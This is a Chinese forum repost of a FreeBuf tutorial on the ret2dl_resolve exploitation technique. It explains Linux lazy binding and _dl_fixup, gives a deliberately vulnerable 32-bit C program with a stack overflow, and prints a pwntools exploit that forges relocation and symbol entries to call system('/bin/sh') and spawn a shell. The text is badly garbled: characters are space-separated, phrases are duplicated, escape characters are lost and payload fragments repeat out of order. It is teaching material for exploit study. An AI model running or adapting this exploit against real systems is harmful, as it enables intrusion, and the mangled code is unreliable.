搜索

[15355] 2020-05-10_Ret2dl_resolve漏洞利用分析

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2020-05-10_Ret2dl_resolve漏洞利用分析 R e t 2 d l _ r e s o l v e 漏 洞 利 用 分 析 白 里 个 白 s o f r   F r e e B u f   2 0 2 0 - 0 5 - 1 0 前 言 前 言 r e t 2 d l r e s o l v e 是 是 l i n u x 下 一 种 利 用 下 一 种 利 用 l i n u x 系 统 延 时 绑 定 系 统 延 时 绑 定 ( L a z y   B i n d i n g ) 机 制 的 一 种 漏 洞 利 用 方 法 ， 其 主 要 思 想 是 利 用 机 制 的 一 种 漏 洞 利 用 方 法 ， 其 主 要 思 想 是 利 用 d l r u n t i m e r e s o l v e ( ) 函 数 写 函 数 写 G O T 表 的 操 作 ， 改 写 写 入 表 的 操 作 ， 改 写 写 入 G O T 的 内 容 ， 使 其 成 为 的 内 容 ， 使 其 成 为 g e t s h e l l 的 函 数 值 。 的 函 数 值 。 背 景 知 识 背 景 知 识 在 了 解 利 用 方 法 之 前 必 须 对 延 时 绑 定 机 制 详 细 了 解 。 其 具 体 的 方 法 可 以 参 照 《 程 序 员 的 自 我 修 养 — — 链 接 、 装 载 与 库 》 一 书 7 . 4 节 。 为 了 实 现 少 量 时 间 换 取 大 量 空 间 以 及 方 便 程 序 维 护 的 目 的 ， L i n u x 中 大 量 程 序 抛 弃 了 静 态 链 接 的 方 式 ， 转 而 投 向 动 态 链 接   的 怀 抱 。 但 是 由 于 在 程 序 在 运 行 中 不 需 要 动 态 共 享 库 ( . s o 文 件 ) 中 的 所 有 函 数 ， 所 以 很 多 函 数 自 始 至 终 是 没 有 被 使 用 过 的 。 如 果 一 股 脑 将 动 态 共 享 库 中 所 有 函 数 都 装 载 进 程 序 的 运 行 空 间 ， 这 是 十 分 消 耗 资 源 的 。 于 是 为 了 节 省 资 源 ， L i n u x 在 程 序 第 一 次 调 用 函 数 时 才 会 将 其 装 载 程 序 。 这 里 用 到 了 P L T 表 的 结 构 ， 细 心 的 小 伙 伴 可 能 注 意 过 ， P L T 表 中 每 个 函 数 的 第 一 项 都 是 一 个 j m p 至 G O T 表 的 操 作 。 那 么 这 个 P L T 的 作 用 又 是 什 么 呢 ， 为 什 么 不 直 接 使 用 G O T 表 呢 。 在 j m p 指 令 下 面 ， 还 有 p u s h 和 另 一 个 j m p 指 令 ， 这 些 指 令 又 是 为 什 么 存 在 在 这 里 呢 。 首 先 看 图 ， 此 程 序 是 运 行 在 l i n u x 下 的 3 2 位 程 序 ， 此 时 的 程 序 的 状 态 是 刚 刚 进 入 m a i n 函 数 ， 还 未 对 w r i t e 函 数 进 行 调 用 ： 这 便 是 一 个 程 序 中 P L T 表 w r i t e 函 数 对 应 表 项 的 内 容 。 此 时 第 一 条 指 令 跳 转 的 目 的 地 便 是 G O T 表 中 w r i t e 函 数 对 应 的 表 项 ， 查 看 这 个 地 址 中 的 内 容 ： 可 以 看 到 ， 实 际 上 G O T 表 中 在 一 开 始 时 ， 并 没 有 存 放 函 数 的 真 实 地 址 ， 而 是 原 来 P L T 表 w r i t e 函 数 对 应 表 项 中 p u s h   0 x 2 0 指 令 的 位 置 ， 也 就 是 说 ， 当 函 数 第 一 次 调 用 w r i t e 函 数 时 ， 实 际 上 并 未 直 接 到 底 l i b c 中 w r i t e 函 数 的 真 正 地 址 ， 而 是 绕 了 一 圈 回 到 了 P L T 表 中 ， 将 0 x 2 0 压 入 栈 中 ， 之 后 跳 转 至 0 x 8 0 4 8 3 8 0 处 。 在 这 里 ， 程 序 又 将 一 个 参 数 压 栈 ， 然 后 跳 转 至 0 x 8 0 4 a 0 0 8 处 ， 而 这 个 地 址 中 的 函 数 便 是 d l r u n t i m e _ r e s o l v e ( ) 函 数 。
而 之 前 压 入 栈 中 的 两 个 参 数 便 会 作 为 参 数 供 d l r u n t i m e r e s o l v e ( ) 函 数 调 用 ： d l r u n t i m e r e s o l v e ( l i n k m a p ,   r e l o c a r g ) ， 而 其 中 最 重 要 的 函 数 便 是 d l f i x u p 函 数 ， 这 里 的 0 x 2 0 便 是 r e l o c _ a r g ， 也 就 是 我 们 在 漏 洞 利 用 中 需 要 注 意 控 制 的 内 容 。 这 里 0 x 2 0 的 含 义 是 什 么 呢 ？ 这 里 的 0 x 2 0 偏 移 是 指 与 . r e l . p l t 表 的 偏 移 ， r e a d e l f   - S   b i n a r y   可 以 查 看 E L F 文 件 中 段 信 息 。 这 里 的 0 x 2 0 的 偏 移 处 便 是 r e l o c 的 位 置 里 面 两 条 信 息 ， 一 个 是 w r i t e 的 G O T 表 ， 另 一 个 下 面 分 析 ： 查 看 下 d l f i x u p 函 数 的 内 容 ： _ d l _ f i x u p ( s t r u c t   l i n k _ m a p   * l ,   E l f W ( W o r d )   r e l o c _ a r g ) {         / /   首 先 通 过 参 数 r e l o c _ a r g 计 算 重 定 位 入 口 ， 这 里 的 J M P R E L 即 . r e l . p l t ， r e l o c _ o f f s e t 即 r e l o c _ a r g         c o n s t   P L T R E L   * c o n s t   r e l o c   =   ( c o n s t   v o i d   * )   ( D _ P T R   ( l ,   l _ i n f o [ D T _ J M P R E L ] )   +   r e l o c _ o f f s e t ) ;         / /   然 后 通 过 r e l o c - > r _ i n f o 找 到 . d y n s y m 中 对 应 的 条 目         c o n s t   E l f W ( S y m )   * s y m   =   & s y m t a b [ E L F W ( R _ S Y M )   ( r e l o c - > r _ i n f o ) ] ;         / /   这 里 还 会 检 查 r e l o c - > r _ i n f o 的 最 低 位 是 不 是 R _ 3 8 6 _ J U M P _ S L O T = 7         a s s e r t   ( E L F W ( R _ T Y P E ) ( r e l o c - > r _ i n f o )   = =   E L F _ M A C H I N E _ J M P _ S L O T ) ;         / /   接 着 通 过 s t r t a b + s y m - > s t _ n a m e 找 到 符 号 表 字 符 串 ， r e s u l t 为 l i b c 基 地 址         r e s u l t   =   _ d l _ l o o k u p _ s y m b o l _ x   ( s t r t a b   +   s y m - > s t _ n a m e ,   l ,   & s y m ,   l - > l _ s c o p e ,   v e r s i o n ,   E L F _ R T Y P E _ C L A S S _ P L T ,   f l a g s ,   N U L L ) ;         / /   v a l u e 为 l i b c 基 址 加 上 要 解 析 函 数 的 偏 移 地 址 ， 也 即 实 际 地 址         v a l u e   =   D L _ F I X U P _ M A K E _ V A L U E   ( r e s u l t ,   s y m   ?   ( L O O K U P _ V A L U E _ A D D R E S S   ( r e s u l t )   +   s y m - > s t _ v a l u e )   :   0 ) ;         / /   最 后 把 v a l u e 写 入 相 应 的 G O T 表 条 目 中         r e t u r n   e l f _ m a c h i n e _ f i x u p _ p l t   ( l ,   r e s u l t ,   r e l o c ,   r e l _ a d d r ,   v a l u e ) ;
函 数 中 遇 到 了 r e l o c 结 构 体 中 的 r i n f o ， 也 就 是 r e l o c 中 的 0 x 6 0 7 ， 这 里 低 字 节 的 0 x 0 7 表 示 R T Y P E ， 只 要 是 7 便 好 ， 而 高 字 节 的 0 x 6 则 是 R _ S Y M ， 是 用 来 找 到 . d y n s y m 中 的 条 目 的 。 这 里 的 6 代 表 了 偏 移 ： 这 里 的 w r i t e 的 N u m 为 6 ， 而 找 到 这 个 地 址 的 方 法 就 是 利 用 . d y n s y m 的 地 址 加 上 0 x 1 0 * N u m ： 这 里 便 是 w r i t e 对 应 的 符 号 信 息 ， 此 符 号 信 息 有 结 构 体 的 定 义 图 中 的 0 x 4 c 便 是 s t n a m e ， 而 0 x 1 2 便 对 应 了 s t i n f o 。 那 么 s t _ n a m e 为 什 么 是 个 数 字 呢 。 实 际 上 ， 0 x 4 c 也 是 一 个 偏 移 ， 他 是 相 对 于 . d y n s t r 段 的 偏 移 。 最 后 ， d l f i x u p 函 数 会 利 用     最 终 实 现 调 取 l i b c 中 的 w r i t e 地 址 ：         r e t u r n   e l f _ m a c h i n e _ f i x u p _ p l t   ( l ,   r e s u l t ,   r e l o c ,   r e l _ a d d r ,   v a l u e ) ; } t y p e d e f   s t r u c t {         E l f 3 2 _ W o r d   s t _ n a m e ;           / /   S y m b o l   n a m e ( s t r i n g   t b l   i n d e x )         E l f 3 2 _ A d d r   s t _ v a l u e ;         / /   S y m b o l   v a l u e         E l f 3 2 _ W o r d   s t _ s i z e ;           / /   S y m b o l   s i z e         u n s i g n e d   c h a r   s t _ i n f o ;     / /   S y m b o l   t y p e   a n d   b i n d i n g         u n s i g n e d   c h a r   s t _ o t h e r ;   / /   S y m b o l   v i s i b i l i t y   u n d e r   g l i b c > = 2 . 2         E l f 3 2 _ S e c t i o n   s t _ s h n d x ;   / /   S e c t i o n   i n d e x }   E l f 3 2 _ S y m ; r e s u l t   =   _ d l _ l o o k u p _ s y m b o l _ x   ( s t r t a b   +   s y m - > s t _ n a m e ,   l ,   & s y m ,   l - > l _ s c o p e ,   v e r s i o n ,   E L F _ R T Y P E _ C L A S S _ P L T ,   f l a g s ,   N U L L ) ;
而 r e t 2 d l r e s o l v e 就 是 修 改 r e l o c 的 偏 移 ， 构 造 f a k e r e l o c 和 f a k e E l f 3 2 S y m , 使 其 指 向 任 意 的 函 数 。 漏 洞 利 用 方 法 漏 洞 利 用 方 法 现 在 总 结 下 上 述 知 识 和 漏 洞 利 用 方 法 。 d l r u n t i m e r e s o l v e ( ) 通 过 两 个 参 数 在 l i b c 中 寻 找 函 数 地 址 ， 而 我 们 更 加 关 注 的 是 第 二 个 参 数 也 就 是 上 面 w r i t e 的 0 x 2 0 ， 0 x 2 0 将 d l r u n t i m e r e s o l v e ( ) 带 到 了 r e l o c 的 位 置 ， r e l o c 中 有 2 个 重 要 信 息 ， 一 个 是 函 数 的 g o t 表 地 址 ， 另 一 个 是 r i n f o 。 r i n f o 的 高 位 是 . d y n s y m 中 的 条 目 ， . d y n s y m 的 地 址 加 上 0 x 1 0 * N u m ， 得 到 函 数 对 应 的 符 号 信 息 ， 而 修 改 其 中 的 s t _ n a m e 偏 移 ， 就 可 以 伪 造 函 数 名 称 ， 从 而 实 现 漏 洞 利 用 ， 我 们 将 其 过 程 反 过 来 ， 根 据 漏 洞 利 用 顺 序 ， 实 现 漏 洞 利 用 ： 1 、 在 一 个 地 址 上 写 入 " s y s t e m " ； 2 、 伪 造 r e l o c ， 其 中 r i n f o 根 据 . d y n s y m + 0 x 1 0 * N U M   =   a d d r e s s   o f ( E l f 3 2 S y m   ) ， 计 算 出 r _ i n f o ； 3 、 伪 造 E l f 3 2 S y m   ， 其 中 s t n a m e 为 . d y n s t r + s t _ n a m e   =   a d d r e s s   o f ( " s y s t e m " ) ； 4 、 调 用 d l r u n t i m e r e s o l v e ( ) 的 参 数 ， 修 改 其 参 数 ， 使 其 指 向 伪 造 的 r e l o c 。 漏 洞 利 用 实 例 漏 洞 利 用 实 例 首 先 ， 先 看 一 个 简 单 的 r e t 2 d l _ r e s o l v e 类 型 题 目 源 码 ： 这 一 题 目 开 启 了 N X ， 关 闭 了 其 他 保 护 ， 在 没 有 l e a k 函 数 的 情 况 下 ， 可 以 通 过 爆 破 G O T 表 上 的 l i b c 进 行 漏 洞 利 用 ， 当 然 ， 这 里 就 可 以 利 用 r e t 2 d l _ r e s o l v e 进 行 漏 洞 利 用 了 。 根 据 我 们 上 面 的 分 析 ， 开 始 构 造 吧 在 一 个 地 址 上 写 入 在 一 个 地 址 上 写 入 " s y s t e m " 由 于 我 们 需 要 一 个 不 变 的 地 址 ， 所 以 ， 我 们 需 要 在 b s s 段 上 填 写 这 一 数 据 ， 所 以 ， 我 们 将 栈 迁 移 至 b s s 段 上 ， 这 里 ， 我 们 还 要 考 虑 后 续 还 要 r e a d 。 / / g c c   - m 3 2   - f n o - s t a c k - p r o t e c t o r   - n o - p i e   b o f . c   - o   t e s t # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > v o i d   v u l n ( ) {                 c h a r   b u f [ 1 0 0 ] ;                 s e t b u f ( s t d i n ,   b u f ) ;                 r e a d ( 0 ,   b u f ,   2 5 6 ) ; } i n t   m a i n ( ) {                 c h a r   b u f [ 1 0 0 ]   =   " r e t 2 d l _ r e s o l v e n " ;                 s e t b u f ( s t d o u t ,   b u f ) ;                 v u l n ( ) ;                 r e t u r n   0 ; }
利 用 栈 溢 出 ， R O P ， 开 始 迁 移 栈 ， 常 规 操 作 ： 迁 栈 成 功 ， 我 们 再 在 b s s 段 上 写 入 R O P ， 并 开 始 下 一 步 工 作 。 因 为 我 们 的 R O P 中 有 r e a d 函 数 ， 所 以 就 可 以 在 b s s 段 中 写 入 s y s t e m 。 所 以 ， 我 们 接 下 来 将 程 序 流 程 指 向 p l t 表 中 的 最 后 一 条 指 令 ， 即 d l r u n t i m e r e s o l v e ( ) 的 G O T 表 ， 也 就 是 最 后 一 步 ， 执 行 d l r u n t i m e r e s o l v e ( ) 。 伪 造 伪 造 r e l o c 构 建 r e l o c ， 第 一 项 是 r e a d 的 G O T 表 ， 第 二 项 是 r _ i n f o 计 算 r _ i n f o 中 偏 移 ： p o p _ e b p   =   0 x 0 8 0 4 8 5 b b   #   p o p   e b p   ;   r e t p p p   =   0 x 0 8 0 4 8 5 b 9   #   p o p   e s i   ;   p o p   e d i   ;   p o p   e b p   ;   r e t l e a v e   =   0 x 0 8 0 4 8 4 0 5   #   l e a v e   ;   r e t b s s   =   0 x 0 8 0 4 A 0 2 0 p a y l o a d   =   " A " * 0 x 7 0 p a y l o a d   + =   p 3 2 ( b i n . p l t [ ' r e a d ' ] )   +   p 3 2 ( p p p ) p a y l o a d   + =   p 3 2 ( 0 ) + p 3 2 ( b s s ) + p 3 2 ( 0 x 1 0 0 ) p a y l o a d   + =   p 3 2 ( p o p _ e b p ) + p 3 2 ( b s s ) + p 3 2 ( l e a v e ) s l ( p a y l o a d ) p a y l o a d 2   =   " A A A A " p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   ( . . . . . . ) p a y l o a d 2   + =   ' s y s t e m ' r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o )
伪 造 E l f 3 2 _ S y m ： 查 看 . d y n s t r 位 置 之 后 ， 构 造 E l f 3 2 _ S y m 调 用 调 用 d l r u n t i m e r e s o l v e ( ) 总 结 一 下 ， 上 述 的 情 况 ： 那 么 只 需 要 确 认 上 述 的 几 个 地 址 即 可 ， 将 其 安 排 下 去 ： 那 么 此 时 ， s y s t e m 的 地 址 为 ， 而 E l f 3 2 _ S y m 的 地 址 为 , / b i n / s h 的 地 址 为 得 到 ： r _ i n f o   =   ( ( ( a d d r e s s   o f   ( E l f 3 2 _ S y m )   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r _ n a m e   =   a d d r e s s   o f   ( " s y s t e m " )   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ n a m e   =   a d d r e s s   o f   ( " s y s t e m " )   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( a d d r e s s   o f   ( E l f 3 2 _ S y m )   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o ) p a y l o a d 2   =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   ( . . . . . . ) p a y l o a d 2   + =   ' s y s t e m ' r _ n a m e   =   a d d r e s s   o f   ( " s y s t e m " )   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( a d d r e s s   o f   ( E l f 3 2 _ S y m )   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o ) p a y l o a d 2   =   " A A A A " p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   " A A A A " p a y l o a d 2   + =   p 3 2 ( a d d r e s s   o f   " / b i n / s h " ) p a y l o a d 2   + =   r e l o c p a y l o a d 2   + =   E l f 3 2 _ S y m p a y l o a d 2   + =   ' s y s t e m x 0 0 ' p a y l o a d 2   + =   ' / b i n / s h x 0 0 ' b s s + 1 3 * 4 b s s + 8 * 4 b s s + 1 3 * 4 + 7 r _ n a m e   =   b s s + 1 3 * 4   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( b s s + 8 * 4   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o )
查 看 . r e l . p l t 位 置 所 以 r e l o c _ a r g = b s s + 5 * 4   -   0 x 8 0 4 8 2 f 4 最 后 ， 得 到 全 部 e x p ： p a y l o a d 2   =   " A A A A " p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   " A A A A " p a y l o a d 2   + =   p 3 2 ( b s s + 1 3 * 4 + 7 ) p a y l o a d 2   + =   r e l o c p a y l o a d 2   + =   E l f 3 2 _ S y m p a y l o a d 2   + =   ' s y s t e m x 0 0 ' p a y l o a d 2   + =   ' / b i n / s h x 0 0 ' # c o d i n g = u t f - 8 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #   F i l e   N a m e :   p w n _ e x p . p y #   A u t h o r :   s o f r #   m a i l :   s o f r @ f o x m a i l . c o m #   C r e a t e d   T i m e :   W e d   A p r     1   1 0 : 2 4 : 1 2   2 0 2 0 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # f r o m   p w n   i m p o r t   * i m p o r t   s y s c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' r   =   l a m b d a   x : p . r e c v ( x ) r u   =   l a m b d a   x : p . r e c v u n t i l ( x ) s   =   l a m b d a   x : p . s e n d ( x ) s l   =   l a m b d a   x : p . s e n d l i n e ( x ) s f   =   l a m b d a   x , y : p . s e n d a f t e r ( x , y ) s l f   =   l a m b d a   x , y : p . s e n d l i n e a f t e r ( x , y ) l 3 2 _ a d d r   =   l a m b d a   x : u 3 2 ( x . l j u s t ( 0 x 4 , ' x 0 0 ' ) ) d r o p _ e n d   =   l a m b d a   x , y : x . s p l i t ( y ) [ 0 ] g e t s h e l l   =   l a m b d a   : p . i n t e r a c t i v e ( ) b i n a r y = ' . / b o o ' g l o b a l   p b i n   =   E L F ( b i n a r y ) i f   l e n ( s y s . a r g v )   >   1 :         p = r e m o t e ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) e l s e :         p = p r o c e s s ( b i n a r y ) p o p _ e b p   =   0 x 0 8 0 4 8 5 b b p p p   =   0 x 0 8 0 4 8 5 b 9 l e a v e   =   0 x 0 8 0 4 8 4 0 5 b s s   =   0 x 0 8 0 4 A 0 2 0 + 0 x 8 0 0
g e t s h e l l ： 注 意 事 项 注 意 事 项 注 意 伪 造 E l f 3 2 _ S y m 的 时 候 ， 注 意 0 x 1 0 对 齐 的 情 况 ， 而 且 ， 单 纯 的 b s s 段 头 无 法 满 足 之 后 函 数 执 行 的 栈 空 间 需 要 ， 所 以 要 加 0 x 8 0 0 参 考 参 考 [ 1 ]   《 程 序 员 的 自 我 修 养 — — 链 接 、 装 载 与 库 》   7 . 4 节 [ 2 ]   h t t p s : / / w i k i . x 1 0 s e c . o r g / p w n / s t a c k o v e r f l o w / a d v a n c e d _ r o p / * 本 文 作 者 ： 白 里 个 白 本 文 作 者 ： 白 里 个 白 s o f r ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 p a y l o a d   =   " A " * 0 x 7 0 p a y l o a d   + =   p 3 2 ( b i n . p l t [ ' r e a d ' ] )   +   p 3 2 ( p p p ) p a y l o a d   + =   p 3 2 ( 0 ) + p 3 2 ( b s s ) + p 3 2 ( 0 x 1 0 0 ) p a y l o a d   + =   p 3 2 ( p o p _ e b p ) + p 3 2 ( b s s ) + p 3 2 ( l e a v e ) s l ( p a y l o a d ) r e l o c _ a r g = b s s + 5 * 4   -   0 x 8 0 4 8 2 f 4 r _ n a m e   =   b s s + 1 3 * 4   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( b s s + 8 * 4   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o ) p a y l o a d 2   =   ' A A A A ' p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   ' A A A A ' p a y l o a d 2   + =   p 3 2 ( b s s + 1 3 * 4 + 7 ) p a y l o a d 2   + =   r e l o c p a y l o a d 2   + =   E l f 3 2 _ S y m p a y l o a d 2   + =   ' s y s t e m x 0 0 ' p a y l o a d 2   + =   ' / b i n / s h x 0 0 ' s l ( p a y l o a d 2 ) g e t s h e l l ( )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理